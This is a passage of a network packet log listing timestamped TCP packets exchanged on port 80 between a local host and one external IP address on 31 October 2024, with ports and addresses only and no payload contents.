Oct 31, 2024 17:26:29.223496914 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.223546028 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.223822117 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.223870039 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.267452955 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.267501116 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.267513990 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.267591953 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.267635107 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.279784918 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.279870033 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.279983044 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.279995918 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.280036926 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.280308008 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.280318975 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.280359983 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.303486109 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.303498030 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.303508997 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.303642035 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.303653002 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.303666115 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.303792953 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.303792953 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.303823948 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.303837061 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.303848028 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.303877115 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.303900003 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.304025888 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.304038048 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.304048061 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.304074049 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.304102898 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.304651976 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.304704905 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.304718018 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.304735899 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.304759979 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.304774046 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.304903030 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.304913998 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.304932117 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.304944038 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.304951906 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.304980993 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.305246115 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.305258036 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.305269003 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.305299044 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.305315971 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.305397034 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.305444956 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.305478096 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.305522919 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.305522919 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.305566072 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.341504097 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.341555119 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.341567993 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.341583967 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.341607094 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.341742039 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.341788054 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.341789961 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.341799974 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.341810942 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.341833115 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.341852903 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.341985941 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.342041969 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.342108965 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.342120886 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.342156887 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.342242002 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.342255116 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.342264891 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.342278004 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.342289925 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.342300892 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.342331886 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.342485905 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.342495918 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.342536926 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.381609917 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.381683111 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.381694078 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.381809950 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.381809950 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.386260986 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.386331081 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.386342049 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.386343956 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.386367083 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.386384964 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.398744106 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.398798943 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.398987055 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.399003029 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.399013996 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.399050951 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.399076939 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.399180889 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.399224043 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.399295092 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.399355888 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.421853065 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.421914101 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.421914101 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.421927929 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.421952009 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.421967983 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.422029972 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.422040939 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.422051907 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.422077894 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.422106028 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.422347069 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.422358990 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.422369957 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.422394991 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.422424078 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.422625065 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.422636986 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.422686100 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.422882080 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.422892094 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.422903061 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.422914982 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.422926903 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.422935009 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.422969103 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.423008919 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.423021078 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.423054934 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.423079014 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.423090935 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.423101902 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.423114061 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.423124075 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.423137903 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.423166990 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.423445940 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.423458099 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.423491955 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.423496008 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.423504114 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.423506975 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.423541069 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.423554897 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.460628986 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.460689068 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.460699081 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.460702896 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.460730076 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.460743904 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.460850000 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.460861921 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.460871935 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.460884094 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.460892916 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.460911036 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.460941076 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.461129904 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.461141109 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.461150885 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.461163998 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.461174011 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.461196899 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.461210966 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.461215973 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.461229086 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.461240053 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.461251020 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.461255074 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.461262941 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.461271048 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.461276054 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.461314917 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.461843967 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.461886883 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.500333071 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.500376940 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.500416994 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.500433922 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.500621080 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.500669003 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.504844904 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.504858971 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.504869938 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.504905939 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.504924059 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.517334938 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.517389059 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.517400026 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.517412901 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.517441034 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.517452955 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.517504930 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.517518044 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.517543077 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.517559052 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.540055990 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.540105104 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.540117979 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.540118933 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.540144920 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.540160894 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.540254116 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.540267944 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.540296078 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.540311098 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.540396929 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.540409088 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.540441990 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.540457010 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.540594101 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.540606022 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.540616989 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.540628910 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.540646076 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.540662050 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.540689945 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.540817976 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.540865898 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.540951967 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.540997982 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.541088104 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.541140079 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.541176081 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.541188955 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.541237116 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.541237116 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.541357994 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.541369915 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.541380882 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.541413069 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.541430950 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.541589975 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.541605949 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.541616917 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.541639090 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.541657925 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.541832924 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.541845083 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.541856050 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.541867018 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.541883945 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.541903973 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.542081118 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.542138100 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.578110933 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.578161955 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.578172922 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.578176022 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.578197002 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.578221083 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.578253031 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.578267097 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.578291893 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.578306913 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.578366995 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.578413010 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.578418016 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.578460932 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.578562021 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.578573942 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.578583956 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.578609943 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.578625917 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.578944921 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.578998089 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.579014063 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.579025984 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.579051018 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.579066992 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.579193115 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.579205990 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.579241037 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.579332113 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.579343081 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.579354048 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.579365015 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.579381943 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.579397917 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.579418898 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.579576969 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.579624891 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.579663038 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.579674959 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.579708099 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.618683100 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.618736029 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.618746996 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.618805885 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.618835926 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.622865915 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.622925997 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.622931957 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.622937918 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.622980118 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.623004913 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.635459900 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.635519028 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.635524035 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.635531902 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.635560036 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.635576010 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.635668039 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.635679960 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.635691881 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.635716915 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.635732889 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.693034887 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.693063974 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.693075895 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.693152905 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.693193913 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.693270922 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.693284035 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.693299055 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.693315029 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.693315029 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.693347931 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.693373919 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.693563938 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.693576097 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.693587065 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.693608999 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.693624973 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.693825960 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.693839073 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.693862915 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.693892002 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.740489960 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.745707035 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.019848108 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.019892931 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.019903898 CET	80	62829	185.215.113.206	192.168.2.4
